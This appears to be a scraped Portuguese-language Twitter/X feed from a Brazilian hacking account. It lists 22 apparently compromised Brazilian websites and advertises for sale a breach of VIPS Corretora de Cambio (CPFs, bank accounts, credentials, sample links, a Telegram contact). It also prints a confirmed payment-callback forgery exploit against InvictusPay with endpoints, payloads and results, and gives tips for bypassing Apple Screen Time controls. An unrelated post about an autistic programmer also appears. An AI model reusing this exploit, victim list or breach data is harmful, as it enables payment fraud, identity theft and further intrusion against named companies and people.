não existimos, kaido é apenas uma loucura da nossa cabeça e nada disso é real… nem eu sou real.
- Tweets 139
- Following 60
- Followers 175
- Likes 947
1. cenaic.com.br 2. imprensado.com
3. bltource.com.br 4. furlancor.com.br
5. educareneuroaprendizagem.com… 6. abboudadvocacia.adv.br
7. decoredobrasil.com.br 8. sysaid.com.br
9. laflamma.com.br 10. draadrianaquaresma.com.br
11. draangelareumatologista.com.… 12. wolko.com.br
13. francanecas.com.br 14. ni4.com.br
15. figueiredoecruz.com.br 16. tripsetrips.com
17. draclaudianavarro.com.br 18. docesaliana.com.br
19. cattoengenharia.com.br 20. pulmao.med.br
21. drtechtecnologia.com.br 22. julianacolombo.com.br
privatebin.net/?fb2172b24826…
2
1,239
@MadSec1337 responsável por fornecer as shells para a kaido, de acordo com ele... tem muito mais por vim
2
1
926
VIPS CORRETORA DE CAMBIO SA - COMPLETE DATA BREACH PACKAGE
Hello, Kaido.
We (Kaido) hold complete backend access and sensitive records from VIPS Corretora de Cambio SA, a Brazilian foreign exchange brokerage regulated by BACEN (Central Bank of Brazil).
Target: vipscambio.com.br / vipscc.com.br
CNPJ: 17.772.370/0001-40
Industry: Foreign Exchange / Fintech
Regulator: Banco Central do Brasil
COMPROMISED ASSET INVENTORY
115,109 unique CPFs (Brazilian taxpayer IDs)
2,414 client bank accounts with full details
72 internal system credentials
3,595 signed contracts (DocuSign)
R$ 330M+ in unreported AML operations
18 corporate bank accounts
Financial movement logs (R$ 262M in 60 days)
Government reporting credentials
Digital certificates with passwords
Remote access to production servers
Total dump: 350MB+
FINANCIAL INTELLIGENCE
Monthly FX volume: R$ 130M
2026 YTD volume: R$ 201.4M
Pending regulatory reports: R$ 330M+
PERSONNEL EXPOSED
5 Directors with full PII (CPF, contacts)
72 employees with system access
SAMPLE: privatebin.net/?29c4e8715990… || privatebin.net/?b349e0c875d2…
Escrow/Middleman Accepted.
telegram: @govbrasil
2
969
{
"vulnerability": "C8 - Payment Callback Forgery (CONFIRMED EXPLOITED)",
"cvss": "10.0 CRITICAL",
"date": "2026-04-15T17:15:25Z",
"target": "InvictusPay (company_id=151) - MonsterGateway white-label",
"step1_transaction_creation": {
"endpoint": "POST api.cloud.monstergateway.com…",
"payload_key_fields": {
"offer_hash": "19xpqqfrz2",
"customer_hash": "ebzyhnidzl",
"payment_method": 3
},
"result": {
"transaction_hash": "cppkgcjji3",
"transaction_id": 19379839,
"acquirer_uuid": "cc331236-a3ce-4bfa-87c2-2ba036a203c6",
"payment_status": 5,
"status_name": "waiting_payment"
}
},
"step2_forged_callback": {
"endpoint": "POST api.invictuspay.app.br/api/a…",
"authentication_required": false,
"hmac_required": false,
"ip_whitelist": false,
"reverse_verification": false,
"payload": {
"id": "cc331236-a3ce-4bfa-87c2-2ba036a203c6",
"status": "paid"
},
"response": {
"success": true,
"message": "Job dispatched"
}
},
"step3_verification": {
"endpoint": "GET api.invictuspay.app.br/api/a…",
"result": {
"payment_status": 3,
"status_name": "paid",
"paid_at": "2026-04-15T17:15:25.000000Z",
"amount": 15000,
"amount_formatted": "R$ 150,00",
"end_to_end": null,
"external_id": null
}
},
"step4_balance": {
"endpoint": "GET api.invictuspay.app.br/api/a…",
"result": {
"balance_total": 285655,
"balance_total_formatted": "R$ 2856.55",
"available": 12692,
"available_formatted": "R$ 126.92"
}
},
"impact": {
"transaction_marked_paid": true,
"no_real_pix_sent": true,
"no_money_transferred": true,
"vulnerability_class": "Unauthenticated payment callback forgery",
"attacker_capability": "Mark any pending transaction as paid without making a real payment",
"financial_impact": "R$ 150 credited to seller balance per forged callback",
"daily_impact_potential": "R$ 100.000+/day (InvictusPay)"
}
}
#hacking #bolhasec
8
11,339
Esse cara uma vez foi sair com os hackers e cagou a mesa inteira.
Ele não está zoando
Não tem espaço para autistas na área?
Fugindo um pouco do tema I.A, eu sou autista e programador com quase 10 anos de experiência mas estou sentindo que a área está me cuspindo fora por conta do meu autismo.
Entrego minhas tarefas normalmente, resolvo problemas, tenho experiência comprovada, mas não consigo entrar nas politicagens das empresas, não consigo puxar saco de chefe, rir de piada sem graça, etc, deixando claro que não é o caso da falta de soft skill, eu sei conversar, resolver assuntos difíceis e tudo mais, inclusive já mentorei 2 juniors e hoje eles são excelentes profissionais, só não consigo fazer a politicagem, e ultimamente tenho percebido que o trabalho é mais político e menos técnico, pelo menos por onde eu passei.
Agora estou com alguns contratos de freela e nada fixo, mas a última empresa que eu passei fui demitido com o seguinte feedback:
"Você não brinca na daily, não da risada, não conta piada, falta de fit cultural com a empresa".
Algum programador autista por aqui? Alguém que passa ou passou o mesmo?
1
13
3,975
Existe um problema estrutural: o app nativo de Senhas (anteriormente Keychain) inclui um browser interno que não pode ser removido. Esse browser pode acessar domínios whitelistados — e como o domínio icloud.com é sempre permitido, é possível usar o Notes do iCloud para redirecionar para qualquer site externo.
Em outras palavras: mesmo com Safari bloqueado e download de apps proibido, o acesso à web pode ser retomado via apps da própria Apple que não podem ser desinstalados.
2 A Apple permite recuperar a senha do Screen Time via Apple ID cadastrado. O problema: qualquer pessoa com acesso à conta Apple do responsável consegue resetar a senha.
Adolescentes que conhecem o e-mail e senha da conta do pai/mãe (ou que usam Family Sharing com configurações fracas) simplesmente acessam Ajustes > Tempo de Uso > Alterar Senha > Esqueci a Senha e resetam tudo.
UpdateCharts
1
2
825
twa.sol
wings
Remedy
